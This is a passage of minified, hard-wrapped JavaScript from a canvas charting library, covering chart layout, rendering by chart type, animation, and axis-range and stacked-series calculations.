)for(b=0;b<this.axisX2.length;b++)"undefined"===typeof
this.axisX2[b].options.gridThickness&&(this.axisX2[b].gridThickness=0);this.axisX&&
0<this.axisX.length&&(this.axisX2&&0<this.axisX2.length)&&(0<this.axisX[0].gridThic
kness&&"undefined"===typeof this.axisX2[0].options.gridThickness?
this.axisX2[0].gridThickness=0:0<this.axisX2[0].gridThickness&&"undefined"===typeof
this.axisX[0].options.gridThickness&&(this.axisX[0].gridThickness=0));b=!
1;if(0<this._axes.length&&(this.zoomEnabled||
this.panEnabled))for(d=0;d<this._axes.length;d++)if(null!
==this._axes[d].viewportMinimum||null!==this._axes[d].viewportMaximum){b=!
0;break}b?
(Qa(this._zoomButton,this._resetButton),this._toolBar.style.border=this.toolbar.bor
derThickness+"px solid
"+this.toolbar.borderColor,this._zoomButton.style.borderRight=this.toolbar.borderTh
ickness+"px solid
"+this.toolbar.borderColor,this._resetButton.style.borderRight=(this.exportEnabled?
this.toolbar.borderThickness:0)+"px solid "+this.toolbar.borderColor):
(va(this._zoomButton,this._resetButton),this._toolBar.style.border=this.toolbar.bor
derThickness+"px solid transparent",this.options.zoomEnabled&&(this.zoomEnabled=!
0,this.panEnabled=!
1));gb(this);this._processData();this.options.title&&(this.title=new
Aa(this,this.options.title),this.title.dockInsidePlotArea?
a.push(this.title):this.title.setLayout());this.subtitles=[];if(this.options.subtit
les)for(d=0;d<this.options.subtitles.length;d++)b=new
Ka(this,this.options.subtitles[d],d),this.subtitles.push(b),b.dockInsidePlotArea?
a.push(b):b.setLayout();this.legend=new
H(this,this.options.legend);for(d=0;d<this.data.length;d++)
(this.data[d].showInLegend||"pie"===this.data[d].type||"doughnut"===this.data[d].ty
pe||"funnel"===this.data[d].type||"pyramid"===this.data[d].type)&&this.legend.dataS
eries.push(this.data[d]);this.legend.dockInsidePlotArea?
a.push(this.legend):this.legend.setLayout();for(d=0;d<this._axes.length;d+
+)if(this._axes[d].scaleBreaks&&this._axes[d].scaleBreaks._appliedBreaks.length){r?
(this._breaksCanvas=ta(this.width,this.height,!
0),this._breaksCanvasCtx=this._breaksCanvas.getContext("2d")):
(this._breaksCanvas=this.canvas,this._breaksCanvasCtx=this.ctx);break}this._preRend
erCanvas=ta(this.width,this.height);this._preRenderCtx=this._preRenderCanvas.getCon
text("2d");"normal"!==this.plotInfo.axisPlacement&&"xySwapped"!
==this.plotInfo.axisPlacement||
z.setLayout(this.axisX,this.axisX2,this.axisY,this.axisY2,this.plotInfo.axisPlaceme
nt,this.layoutManager.getFreeSpace())};p.prototype.renderElements=function(){var
a=this._plotAreaElements;this.title&&!
this.title.dockInsidePlotArea&&this.title.render();for(var
d=0;d<this.subtitles.length;d++)this.subtitles[d].dockInsidePlotArea||
this.subtitles[d].render();this.legend.dockInsidePlotArea||
this.legend.render();if("normal"===this.plotInfo.axisPlacement||"xySwapped"===this.
plotInfo.axisPlacement)z.render(this.axisX,this.axisX2,this.axisY,this.axisY2,this.
plotInfo.axisPlacement);else
if("none"===this.plotInfo.axisPlacement)this.preparePlotArea();else
return;for(d=0;d<a.length;d++)a[d].setLayout(),a[d].render();var
b=[];if(this.animatedRender){var
c=ta(this.width,this.height);c.getContext("2d").drawImage(this.canvas,0,0,this.widt
h,this.height)}hb(this);var
a=this.ctx.miterLimit,e;this.ctx.miterLimit=3;r&&this._breaksCanvas&&(this._preRend
erCtx.drawImage(this.canvas,0,0,this.width,this.height),this._preRenderCtx.drawImag
e(this._breaksCanvas,0,0,this.width,this.height),this._breaksCanvasCtx.globalCompos
iteOperation="source-
atop",this._breaksCanvasCtx.drawImage(this._preRenderCanvas,0,0,this.width,this.hei
ght),this._preRenderCtx.clearRect(0,0,this.width,this.height));for(d=0;d<this.plotI
nfo.plotTypes.length;d++)for(var
g=this.plotInfo.plotTypes[d],k=0;k<g.plotUnits.length;k++){var
l=g.plotUnits[k],w=null;l.targetCanvas=null;this.animatedRender&&(l.targetCanvas=ta
(this.width,this.height),l.targetCanvasCtx=l.targetCanvas.getContext("2d"),e=l.targ
etCanvasCtx.miterLimit,l.targetCanvasCtx.miterLimit=3);"line"===l.type?
w=this.renderLine(l):"stepLine"===l.type?
w=this.renderStepLine(l):"spline"===l.type?
w=this.renderSpline(l):"column"===l.type?w=this.renderColumn(l):"bar"===l.type?
w=this.renderBar(l):"area"===l.type?w=this.renderArea(l):"stepArea"===l.type?
w=this.renderStepArea(l):"splineArea"===l.type?
w=this.renderSplineArea(l):"stackedColumn"===l.type?
w=this.renderStackedColumn(l):"stackedColumn100"===l.type?
w=this.renderStackedColumn100(l):"stackedBar"===l.type?
w=this.renderStackedBar(l):"stackedBar100"===l.type?
w=this.renderStackedBar100(l):"stackedArea"===l.type?
w=this.renderStackedArea(l):"stackedArea100"===l.type?
w=this.renderStackedArea100(l):"bubble"===l.type?
w=w=this.renderBubble(l):"scatter"===l.type?w=this.renderScatter(l):"pie"===l.type?
this.renderPie(l):"doughnut"===l.type?this.renderPie(l):"funnel"===l.type?
w=this.renderFunnel(l):"pyramid"===l.type?
w=this.renderFunnel(l):"candlestick"===l.type?
w=this.renderCandlestick(l):"ohlc"===l.type?
w=this.renderCandlestick(l):"rangeColumn"===l.type?
w=this.renderRangeColumn(l):"error"===l.type?
w=this.renderError(l):"rangeBar"===l.type?
w=this.renderRangeBar(l):"rangeArea"===l.type?
w=this.renderRangeArea(l):"rangeSplineArea"===l.type?
w=this.renderRangeSplineArea(l):"waterfall"===l.type?
w=this.renderWaterfall(l):"boxAndWhisker"===l.type&&(w=this.renderBoxAndWhisker(l))
;for(var m=0;m<l.dataSeriesIndexes.length;m+
+)this._dataInRenderedOrder.push(this.data[l.dataSeriesIndexes[m]]);this.animatedRe
nder&&(l.targetCanvasCtx.miterLimit=e,w&&b.push(w))}this.ctx.miterLimit=a;this.anim
atedRender&&this._breaksCanvasCtx&&b.push({source:this._breaksCanvasCtx,dest:this.p
lotArea.ctx,animationCallback:M.fadeInAnimation,easingFunction:M.easing.easeInQuad,
animationBase:0,startTimePercent:0.7});this.animatedRender&&0<this._indexLabels.len
gth&&(e=ta(this.width,this.height).getContext("2d"),b.push(this.renderIndexLabels(e
)));var s=this;if(0<b.length)s.disableToolTip=!
0,s._animator.animate(200,s.animationDuration,function(a)
{s.ctx.clearRect(0,0,s.width,s.height);s.ctx.drawImage(c,0,0,Math.floor(s.width*W),
Math.floor(s.height*W),0,0,s.width,s.height);for(var e=0;e<b.length;e+
+)w=b[e],1>a&&"undefined"!==typeof w.startTimePercent?
a>=w.startTimePercent&&w.animationCallback(w.easingFunction(a-
w.startTimePercent,0,1,1-
w.startTimePercent),w):w.animationCallback(w.easingFunction(a,0,1,1),w);s.dispatchE
vent("dataAnimationIterationEnd",{chart:s})},function(){b=[];for(var
a=0;a<s.plotInfo.plotTypes.length;a++)for(var
e=s.plotInfo.plotTypes[a],d=0;d<e.plotUnits.length;d+
+)e.plotUnits[d].targetCanvas=null;c=null;s.disableToolTip=!
1});else{if(s._breaksCanvas)if(r)s.plotArea.ctx.drawImage(s._breaksCanvas,0,0,this.
width,this.height);else for(m=0;m<s._axes.length;m+
+)s._axes[m].createMask();0<s._indexLabels.length&&s.renderIndexLabels();s.dispatch
Event("dataAnimationIterationEnd",
{chart:s})}this.attachPlotAreaEventHandlers();this.zoomEnabled||(this.panEnabled||!
this._zoomButton||"none"===this._zoomButton.style.display)||
va(this._zoomButton,this._resetButton);this.toolTip._updateToolTip();this.renderCou
nt++;Ja&&(s=this,setTimeout(function(){var
a=document.getElementById("ghostCanvasCopy");a&&(Oa(a,s.width,s.height),a.getContex
t("2d").drawImage(s._eventManager.ghostCanvas,0,0))},2E3));this._breaksCanvas&&(del
ete this._breaksCanvas,delete this._breaksCanvasCtx);for(m=0;m<this._axes.length;m+
+)this._axes[m].maskCanvas&&(delete this._axes[m].maskCanvas,delete
this._axes[m].maskCtx)};p.prototype.render=function(a)
{a&&(this.options=a);this._initialize();this.setLayout();this.renderElements();this
._preRenderCanvas=null};p.prototype.attachPlotAreaEventHandlers=function()
{this.attachEvent({context:this,chart:this,mousedown:this._plotAreaMouseDown,mouseu
p:this._plotAreaMouseUp,mousemove:this._plotAreaMouseMove,cursor:this.panEnabled?"m
ove":"default",capture:!
0,bounds:this.plotArea})};p.prototype.categoriseDataSeries=function(){for(var
a="",d=0;d<this.data.length;d++)if(a=this.data[d],a.dataPoints&&(0!
==a.dataPoints.length&&a.visible)&&0<=p._supportedChartTypes.indexOf(a.type))
{for(var b=null,c=!1,e=null,g=!1,k=0;k<this.plotInfo.plotTypes.length;k+
+)if(this.plotInfo.plotTypes[k].type===a.type){c=!
0;b=this.plotInfo.plotTypes[k];break}c||(b={type:a
.type,totalDataSeries:0,plotUnits:
[]},this.plotInfo.plotTypes.push(b));for(k=0;k<b.plotUnits.length;k+
+)if(b.plotUnits[k].axisYType===a.axisYType&&b.plotUnits[k].axisXType===a.axisXType
&&b.plotUnits[k].axisYIndex===a.axisYIndex&&b.plotUnits[k].axisXIndex===a.axisXInde
x){g=!0;e=b.plotUnits[k];break}g||
(e={type:a.type,previousDataSeriesCount:0,index:b.plotUnits.length,plotType:b,axisX
Type:a.axisXType,axisYType:a.axisYType,axisYIndex:a.axisYIndex,axisXIndex:a.axisXIn
dex,axisY:"primary"===a.axisYType?
this.axisY[0<=a.axisYIndex&&a.axisYIndex<this.axisY.length?
a.axisYIndex:0]:this.axisY2[0<=a.axisYIndex&&a.axisYIndex<this.axisY2.length?
a.axisYIndex:0],axisX:"primary"===a.axisXType?
this.axisX[0<=a.axisXIndex&&a.axisXIndex<this.axisX.length?
a.axisXIndex:0]:this.axisX2[0<=a.axisXIndex&&a.axisXIndex<this.axisX2.length?
a.axisXIndex:0],dataSeriesIndexes:[],yTotals:
[]},b.plotUnits.push(e));b.totalDataSeries+
+;e.dataSeriesIndexes.push(d);a.plotUnit=e}for(d=0;d<this.plotInfo.plotTypes.length
;d++)for(b=this.plotInfo.plotTypes[d],k=a=0;k<b.plotUnits.length;k+
+)b.plotUnits[k].previousDataSeriesCount=a,a+=b.plotUnits[k].dataSeriesIndexes.leng
th};p.prototype.assignIdToDataPoints=function(){for(var a=0;a<this.data.length;a++)
{var d=this.data[a];if(d.dataPoints)for(var b=d.dataPoints.length,c=0;c<b;c+
+)d.dataPointIds[c]=+
+this._eventManager.lastObjectId}};p.prototype._processData=function()
{this.assignIdToDataPoints();this.categoriseDataSeries();for(var
a=0;a<this.plotInfo.plotTypes.length;a++)for(var
d=this.plotInfo.plotTypes[a],b=0;b<d.plotUnits.length;b++){var
c=d.plotUnits[b];"line"===c.type||"stepLine"===c.type||"spline"===c.type||"column"=
==c.type||"area"===c.type||"stepArea"===c.type||"splineArea"===c.type||"bar"===c.ty
pe||"bubble"===c.type||"scatter"===c.type?
this._processMultiseriesPlotUnit(c):"stackedColumn"===c.type||"stackedBar"===c.type
||"stackedArea"===c.type?
this._processStackedPlotUnit(c):"stackedColumn100"===c.type||"stackedBar100"===c.ty
pe||"stackedArea100"===c.type?
this._processStacked100PlotUnit(c):"candlestick"===c.type||"ohlc"===c.type||"rangeC
olumn"===c.type||"rangeBar"===c.type||"rangeArea"===c.type||"rangeSplineArea"===c.t
ype||"error"===c.type||"boxAndWhisker"===c.type?
this._processMultiYPlotUnit(c):"waterfall"===c.type&&this._processSpecificPlotUnit(
c)}this.calculateAutoBreaks()};p.prototype._processMultiseriesPlotUnit=function(a)
{if(a.dataSeriesIndexes&&!(1>a.dataSeriesIndexes.length))for(var
d=a.axisY.dataInfo,b=a.axisX.dataInfo,c,e,g=!1,k=0;k<a.dataSeriesIndexes.length;k+
+){var l=this.data[a.dataSeriesIndexes[k]],w=0,m=!1,s=!
1,q;if("normal"===l.axisPlacement||"xySwapped"===l.axisPlacement)var
n=a.axisX.sessionVariables.newViewportMinimum?
a.axisX.sessionVariables.newViewportMinimum:this.options.axisX&&this.options.axisX.
viewportMinimum?
this.options.axisX.viewportMinimum:this.options.axisX&&this.options.axisX.minimum?
this.options.axisX.minimum:a.axisX.logarithmic?0:-
Infinity,f=a.axisX.sessionVariables.newViewportMaximum?
a.axisX.sessionVariables.newViewportMaximum:this.options.axisX&&this.options.axisX.
viewportMaximum?
this.options.axisX.viewportMaximum:this.options.axisX&&this.options.axisX.maximum?
this.options.axisX.maximum:Infinity;if(l.dataPoints[w].x&&l.dataPoints[w].x.getTime
||"dateTime"===l.xValueType)g=!0;for(w=0;w<l.dataPoints.length;w++)
{"undefined"===typeof l.dataPoints[w].x&&(l.dataPoints[w].x=w+(a.axisX.logarithmic?
1:0));l.dataPoints[w].x.getTime?(g=!
0,c=l.dataPoints[w].x.getTime()):c=l.dataPoints[w].x;e=l.dataPoints[w].y;c<b.min&&(
b.min=c);c>b.max&&(b.max=c);e<d.min&&"number"===typeof
e&&(d.min=e);e>d.max&&"number"===typeof e&&(d.max=e);if(0<w)
{if(a.axisX.logarithmic){var B=c/l.dataPoints[w-1].x;1>B&&(B=1/B);b.minDiff>B&&1!
==B&&(b.minDiff=B)}else B=c-l.dataPoints[w-1].x,0>B&&(B*=-1),b.minDiff>B&&0!
==B&&(b.minDiff=B);null!==e&&null!==l.dataPoints[w-1].y&&(a.axisY.logarithmic?
(B=e/l.dataPoints[w-1].y,1>B&&(B=1/B),d.minDiff>B&&1!==B&&(d.minDiff=B)):(B=e-
l.dataPoints[w-1].y,0>B&&(B*=-1),d.minDiff>B&&0!==B&&(d.minDiff=B)))}if(c<n&&!
m)null!==e&&(q=c);else{if(!m&&(m=!0,0<w)){w-=2;continue}if(c>f&&!s)s=!0;else
if(c>f&&s)continue;l.dataPoints[w].label&&(a.axisX.labels[c]=l.dataPoints[w].label)
;c<b.viewPortMin&&(b.viewPortMin=c);c>b.viewPortMax&&(b.viewPortMax=c);null===e?
b.viewPortMin===c&&q<c&&(b.viewPortMin=q):(e<d.viewPortMin&&"number"===typeof
e&&(d.viewPortMin=e),e>d.viewPortMax&&"number"===typeof
e&&(d.viewPortMax=e))}}l.axisX.valueType=l.xValueType=g?"dateTime":"number"}};p.pro
totype._processStackedPlotUnit=function(a){if(a.dataSeriesIndexes&&!
(1>a.dataSeriesIndexes.length)){for(var
d=a.axisY.dataInfo,b=a.axisX.dataInfo,c,e,g=!1,k=[],l=[],w=Infinity,m=-
Infinity,s=0;s<a.dataSeriesIndexes.length;s++){var
q=this.data[a.dataSeriesIndexes[s]],n=0,f=!1,B=!
1,h;if("normal"===q.axisPlacement||"xySwapped"===q.axisPlacement)var
p=a.axisX.sessionVariables.newViewportMinimum?
a.axisX.sessionVariables.newViewportMinimum:this.options.axisX&&this.options.axisX.
viewportMinimum?
this.options.axisX.viewportMinimum:this.options.axisX&&this.options.axisX.minimum?
this.options.axisX.minimum:-Infinity,t=a.axisX.sessionVariables.newViewportMaximum?
a.axisX.sessionVariables.newViewportMaximum:this.options.axisX&&this.options.axisX.
viewportMaximum?
this.options.axisX.viewportMaximum:this.options.axisX&&this.options.axisX.maximum?
this.options.axisX.maximum:Infinity;if(q.dataPoints[n].x&&q.dataPoints[n].x.getTime
||"dateTime"===q.xValueType)g=!0;for(n=0;n<q.dataPoints.length;n++)
{"undefined"===typeof q.dataPoints[n].x&&(q.dataPoints[n].x=n+(a.axisX.logarithmic?
1:0));q.dataPoints[n].x.getTime?(g=!
0,c=q.dataPoints[n].x.getTime()):c=q.dataPoints[n].x;e=u(q.dataPoints[n].y)?
0:q.dataPoints[n].y;c<b.min&&(b.min=c);c>b.max&&(b.max=c);if(0<n)
{if(a.axisX.logarithmic){var r=c/q.dataPoints[n-1].x;1>r&&(r=1/r);b.minDiff>r&&1!
==r&&(b.minDiff=r)}else r=c-q.dataPoints[n-1].x,0>r&&(r*=-1),b.minDiff>r&&0!
==r&&(b.minDiff=r);null!==e&&null!==q.dataPoints[n-1].y&&(a.axisY.logarithmic?
0<e&&(r=e/q.dataPoints[n-1].y,1>r&&(r=1/r),d.minDiff>r&&1!==r&&(d.minDiff=r)):(r=e-
q.dataPoints[n-1].y,0>r&&(r*=-1),d.minDiff>r&&0!==r&&(d.minDiff=r)))}if(c<p&&!
f)null!==q.dataPoints[n].y&&(h=c);else{if(!f&&(f=!0,0<n)){n-=2;continue}if(c>t&&!
B)B=!0;else
if(c>t&&B)continue;q.dataPoints[n].label&&(a.axisX.labels[c]=q.dataPoints[n].label)
;c<b.viewPortMin&&(b.viewPortMin=c);c>b.viewPortMax&&(b.viewPortMax=c);null===q.dat
aPoints[n].y?b.viewPortMin===c&&h<c&&(b.viewPortMin=h):(a.yTotals[c]=(a.yTotals[c]?
a.yTotals[c]:0)+e,0<=e?k[c]?k[c]+=e:(k[c]=e,w=Math.min(e,w)):l[c]?l[c]+=e:
(l[c]=e,m=Math.max(e,m)))}}a.axisY.scaleBreaks&&(a.axisY.scaleBreaks.autoCalculate&
&1<=a.axisY.scaleBreaks.maxNumberOfAutoBreaks)&&(d.dataPointYPositiveSums?
(d.dataPointYPositiveSums.push.apply(d.dataPointYPositiveSums,k),d.dataPointYNegati
veSums.push.apply(d.dataPointYPositiveSums,l)):
(d.dataPointYPositiveSums=k,d.dataPointYNegativeSums=l));q.axisX.valueType=q.xValue
Type=g?"dateTime":"number"}for(n in k)k.hasOwnProperty(n)&&!
isNaN(n)&&(a=k[n],a<d.min&&(d.min=Math.min(a,w)),a>d.max&&(d.max=a),n<b.viewPortMin
||n>b.viewPortMax||
(a<d.viewPortMin&&(d.viewPortMin=Math.min(a,w)),a>d.viewPortMax&&(d.viewPortMax=a))
);for(n in l)l.hasOwnProperty(n)&&!
isNaN(n)&&(a=l[n],a<d.min&&(d.min=a),a>d.max&&(d.max=Math.max(a,m)),n<b.viewPortMin
||n>b.viewPortMax||
(a<d.viewPortMin&&(d.viewPortMin=a),a>d.viewPortMax&&(d.viewPortMax=Math.max(a,m)))
)}};p.prototype._processStacked100PlotUnit=function(a){if(a.dataSeriesIndexes&&!
(1>a.dataSeriesIndexes.length)){for(var
d=a.axisY.dataInfo,b=a.axisX.dataInfo,c,e,g=!1,k=!1,l=!
1,w=[],m=0;m<a.dataSeriesIndexes.length;m++){var
s=this.data[a.dataSeriesIndexes[m]],q=0,n=!1,f=!
1,B;if("normal"===s.axisPlacement||"xySwapped"===s.axisPlacement)var
h=a.axisX.sessionVariables.newViewportMinimum?
a.axisX.sessionVariables.newViewportMinimum:this.options.axisX&&this.options.axisX.
viewportMinimum?
this.options.axisX.viewportMinimum:this.options.axisX&&this.options.axisX.minimum?
this.options.axisX.minimum:-Infinity,r=a.axisX.sessionVariables.newViewportMaximum?
a.axisX.sessionVariables.newViewportMaximum:this.options.axisX&&this.options.axisX.
viewportMaximum?
this.options.axisX.viewportMaximum:this.options.axisX&&this.options.axisX.maximum?
this.options.axisX.maximum:Infinity;if(s.dataPoints[q].x&&s.dataPoints[q].x.getTime
||"dateTime"===s.xValueType)g=!0;for(q=0;q<s.dataPoints.length;q++)
{"undefined"===typeof s.dataPoints[q].x&&(s.dataPoints[q].x=q+(a.axisX.logarithmic?
1:0));s.dataPoints[q].x.getTime?(g=!
0,c=s.dataPoints[q].x.getTime()):c=s.dataPoints[q].x;e=u(s.dataPoints[q].y)?
null:s.dataPoints[q].y;c<b.min&&(b.min=c);c>b.max&&(b.max=c);if(0<q)
{if(a.axisX.logarithmic){var t=c/s.dataPoints[q-1].x;1>t&&(t=1/t);b.minDiff>t&&1!
==t&&(b.minDiff=t)}else t=c-s.dataPoints[q-1].x,0>t&&(t*=-1),b.minDiff>t&&0!
==t&&(b.minDiff=t);u(e)||null===s.dataPoints[q-1].y||(a.axisY.logarithmic?
0<e&&(t=e/s.dataPoints[q-1].y,1>t&&(t=1/t),d.minDiff>t&&1!==t&&(d.minDiff=t)):(t=e-
s.dataPoints[q-1].y,0>t&&(t*=-1),d.minDiff>t&&0!==t&&(d.minDiff=t)))}if(c<h&&!
n)null!==e&&(B=c);else{if(!n&&(n=!0,0<q)){q-=2;continue}if(c>r&&!f)f=!0;else
if(c>r&&f)continue;s.dataPoints[q].label&&(a.axisX.labels[c]=s.dataPoints[q].label)
;c<b.viewPortMin&&(b.viewPortMin=c);c>b.viewPortMax&&(b.viewPortMax=c);null===e?
b.viewPortMin===c&&B<c&&(b.viewPortMin=B):(a.yTotals[c]=(a.yTotals[c]?
a.yTotals[c]:0)+e,0<=e?k=!0:0>e&&(l=!0),w[c]=w[c]?w[c]
+Math.abs(e):Math.abs(e))}}s.axisX.valueType=s.xValueType=g?"dateTime":"number"}a.a
xisY.logarithmic?(d.max=u(d.viewPortMax)?99*Math.pow(a.axisY.logarithmBase,-
0.05):Math.max(d.viewPortMax,99*Math.pow(a.axisY.logarithmBase,-
0.05)),d.min=u(d.viewPortMin)?1:Math.min(d.viewPortMin,1)):k&&!l?
(d.max=u(d.viewPortMax)?99:Math.max(d.viewPortMax,99),d.min=u(d.viewPortMin)?
1:Math.min(d.viewPortMin,1)):k&&l?(d.max=u(d.viewPortMax)?
99:Math.max(d.viewPortMax,99),d.min=u(d.viewPortMin)?-99:Math.min(d.viewPortMin,-
99)):!k&&l&&(d.max=u(d.viewPortMax)?-1:Math.max(d.viewPortMax,-
1),d.min=u(d.viewPortMin)?-99:Math.min(d.viewPortMin,-99));d.
viewPortMin=d.min;d.viewPortMax=d.max;a.dataPointYSums=w}};p.prototype._processMult
iYPlotUnit=function(a){if(a.dataSeriesIndexes&&!
(1>a.dataSeriesIndexes.length))for(var
d=a.axisY.dataInfo,b=a.axisX.dataInfo,c,e,g,k,l=!
1,w=0;w<a.dataSeriesIndexes.length;w++){var
m=this.data[a.dataSeriesIndexes[w]],s=0,q=!1,n=!
1,f,B,h;if("normal"===m.axisPlacement||"xySwapped"===m.axisPlacement)var
r=a.axisX.sessionVariables.newViewportMinimum?
a.axisX.sessionVariables.newViewportMinimum:this.options.axisX&&this.options.axisX.
viewportMinimum?
this.options.axisX.viewportMinimum:this.options.axisX&&this.options.axisX.minimum?
this.options.axisX.minimum:a.axisX.logarithmic?0:-
Infinity,t=a.axisX.sessionVariables.newViewportMaximum?
a.axisX.sessionVariables.newViewportMaximum:this.options.axisX&&this.options.axisX.
viewportMaximum?
this.options.axisX.viewportMaximum:this.options.axisX&&this.options.axisX.maximum?
this.options.axisX.maximum:Infinity;if(m.dataPoints[s].x&&m.dataPoints[s].x.getTime
||"dateTime"===m.xValueType)l=!0;for(s=0;s<m.dataPoints.length;s++)
{"undefined"===typeof m.dataPoints[s].x&&(m.dataPoints[s].x=s+(a.axisX.logarithmic?
1:0));m.dataPoints[s].x.getTime?(l=!
0,c=m.dataPoints[s].x.getTime()):c=m.dataPoints[s].x;if((e=m.dataPoints[s].y)&&e.le
ngth){g=Math.min.apply(null,e);k=Math.max.apply(null,e);B=!0;for(var
p=0;p<e.length;p++)null===e.k&&(B=!1);B&&(q||
(h=f),f=c)}c<b.min&&(b.min=c);c>b.max&&(b.max=c);g<d.min&&(d.min=g);k>d.max&&(d.max
=k);0<s&&(a.axisX.logarithmic?(B=c/m.dataPoints[s-1].x,1>B&&(B=1/B),b.minDiff>B&&1!
==B&&(b.minDiff=B)):(B=c-m.dataPoints[s-1].x,0>B&&(B*=-1),b.minDiff>B&&0!
==B&&(b.minDiff=B)),e&&(null!==e[0]&&m.dataPoints[s-1].y&&null!==m.dataPoints[s-
1].y[0])&&(a.axisY.logarithmic?(B=e[0]/m.dataPoints[s-
1].y[0],1>B&&(B=1/B),d.minDiff>B&&1!==B&&(d.minDiff=B)):(B=e[0]-m.dataPoints[s-
1].y[0],0>B&&(B*=-1),d.minDiff>B&&0!==B&&(d.minDiff=B))));if(!(c<r)||q){if(!q&&(q=!
0,0<s)){s-=2;f=h;continue}if(c>t&&!n)n=!0;else
if(c>t&&n)continue;m.dataPoints[s].label&&(a.axisX.labels[c]=m.dataPoints[s].label)
;c<b.viewPortMin&&(b.viewPortMin=c);c>b.viewPortMax&&(b.viewPortMax=c);if(b.viewPor
tMin===c&&e)for(p=0;p<e.length;p++)if(null===e[p]&&f<c)
{b.viewPortMin=f;break}null===e?b.viewPortMin===c&&f<c&&(b.viewPortMin=f):
(g<d.viewPortMin&&(d.viewPortMin=g),k>d.viewPortMax&&(d.viewPortMax=k))}}m.axisX.va
lueType=m.xValueType=l?"dateTime":"number"}};p.prototype._processSpecificPlotUnit=f
unction(a){if("waterfall"===a.type&&a.dataSeriesIndexes&&!
(1>a.dataSeriesIndexes.length))for(var
d=a.axisY.dataInfo,b=a.axisX.dataInfo,c,e,g=!1,k=0;k<a.dataSeriesIndexes.length;k+
+){var l=this.data[a.dataSeriesIndexes[k]],w=0,m=!1,s=!
1,q=c=0;if("normal"===l.axisPlacement||"xySwapped"===l.axisPlacement)var
n=a.axisX.sessionVariables.newViewportMinimum?
a.axisX.sessionVariables.newViewportMinimum:this.options.axisX&&this.options.axisX.
viewportMinimum?
this.options.axisX.viewportMinimum:this.options.axisX&&this.options.axisX.minimum?
this.options.axisX.minimum:a.axisX.logarithmic?0:-
Infinity,f=a.axisX.sessionVariables.newViewportMaximum?
a.axisX.sessionVariables.newViewportMaximum:this.options.axisX&&this.options.axisX.
viewportMaximum?
this.options.axisX.viewportMaximum:this.options.axisX&&this.options.axisX.maximum?
this.options.axisX.maximum:Infinity;if(l.dataPoints[w].x&&l.dataPoints[w].x.getTime
||"dateTime"===l.xValueType)g=!0;for(w=0;w<l.dataPoints.length;w++)"undefined"!
==typeof l.dataPoints[w].isCumulativeSum&&!0===l.dataPoints[w].isCumulativeSum?
(l.dataPointEOs[w].cumulativeSumYStartValue=0,l.dataPointEOs[w].cumulativeSum=0===w
?0:l.dataPointEOs[w-1].cumulativeSum,l.dataPoints[w].y=0===w?0:l.dataPointEOs[w-
1].cumulativeSum):"undefined"!==typeof l.dataPoints[w].isIntermediateSum&&!
0===l.dataPoints[w].isIntermediateSum?
(l.dataPointEOs[w].cumulativeSumYStartValue=q,l.dataPointEOs[w].cumulativeSum=0===w
?0:l.dataPointEOs[w-1].cumulativeSum,l.dataPoints[w].y=0===w?0:c,q=0===w?
0:l.dataPointEOs[w-1].cumulativeSum,c=0):(e="number"!==typeof l.dataPoints[w].y?
0:l.dataPoints[w].y,l.dataPointEOs[w].cumulativeSumYStartValue=0===w?
0:l.dataPointEOs[w-1].cumulativeSum,l.dataPointEOs[w].cumulativeSum=0===w?
e:l.dataPointEOs[w-1].cumulativeSum+e,c+=e);for(w=0;w<l.dataPoints.length;w+
+)if("undefined"===typeof l.dataPoints[w].x&&(l.dataPoints[w].x=w+
(a.axisX.logarithmic?1:0)),l.dataPoints[w].x.getTime?(g=!
0,c=l.dataPoints[w].x.getTime()):c=l.dataPoints[w].x,e=l.dataPoints[w].y,c<b.min&&(
b.min=c),c>b.max&&(b.max=c),l.dataPointEOs[w].cumulativeSum<d.min&&(d.min=l.dataPoi
ntEOs[w].cumulativeSum),l.dataPointEOs[w].cumulativeSum>d.max&&(d.max=l.dataPointEO
s[w].cumulativeSum),0<w&&(a.axisX.logarithmic?(q=c/l.dataPoints[w-
1].x,1>q&&(q=1/q),b.minDiff>q&&1!==q&&(b.minDiff=q)):(q=c-l.dataPoints[w-
1].x,0>q&&(q*=-1),b.minDiff>q&&0!==q&&(b.minDiff=q)),null!==e&&null!
==l.dataPoints[w-1].y&&(a.axisY.logarithmic?
(e=l.dataPointEOs[w].cumulativeSum/l.dataPointEOs[w-
1].cumulativeSum,1>e&&(e=1/e),d.minDiff>e&&1!==e&&(d.minDiff=e)):
(e=l.dataPointEOs[w].cumulativeSum-l.dataPointEOs[w-1].cumulativeSum,0>e&&(e*=-
1),d.minDiff>e&&0!==e&&(d.minDiff=e)))),!(c<n)||m){if(!m&&(m=!0,0<w)){w-
=2;continue}if(c>f&&!s)s=!0;else
if(c>f&&s)continue;l.dataPoints[w].label&&(a.axisX.labels[c]=l.dataPoints[w].label)
;c<b.viewPortMin&&(b.viewPortMin=c);c>b.viewPortMax&&(b.viewPortMax=c);0<w&&(l.data
PointEOs[w-1].cumulativeSum<d.viewPortMin&&(d.viewPortMin=l.dataPointEOs[w-
1].cumulativeSum),l.dataPointEOs[w-
1].cumulativeSum>d.viewPortMax&&(d.viewPortMax=l.dataPointEOs[w-
1].cumulativeSum));l.dataPointEOs[w].cumulativeSum<d.viewPortMin&&(d.viewPortMin=l.
dataPointEOs[w].cumulativeSum);l.dataPointEOs[w].cumulativeSum>d.viewPortMax&&(d.vi
ewPortMax=l.dataPointEOs[w].cumulativeSum)}l.axisX.valueType=l.xValueType=g?"dateTi
me":"number"}};p.prototype.calculateAutoBreaks=function(){function a(a,c,b,e)
{if(e)return b=Math.pow(Math.min(b*a/c,c/a),0.2),1>=b&&(b=Math.pow(1>a?
1/a:Math.min(c/a,a),0.25)),{startValue:a*b,endValue:c/b};b=0.2*Math.min(b-c+a,c-
a);0>=b&&(b=0.25*Math.min(c-a,Math.abs(a)));return{startValue:a+b,endValue:c-
b}}function d(a){if(a.dataSeriesIndexes&&!(1>a.dataSeriesIndexes.length)){var
c=a.axisX.scaleBreaks&&a.axisX.scaleBreaks.autoCalculate&&1<=a.axisX.scaleBreaks.ma
xNumberOfAutoBreaks,b=a.axisY.scaleBreaks&&a.axisY.scaleBreaks.autoCalculate&&1<=a.
axisY.scaleBreaks.maxNumberOfAutoBreaks;if(c||b)for(var
d=a.axisY.dataInfo,f=a.axisX.dataInfo,g,m=f.min,l=f.max,k=d.min,n=d.max,f=f._dataRa
nges,d=d._dataRanges,q,w=0,s=0;s<a.dataSeriesIndexes.length;s++){var
h=e.data[a.dataSeriesIndexes[s]];if(!
(4>h.dataPoints.length))for(w=0;w<h.dataPoints.length;w++)if(c&&(q=(l+1-
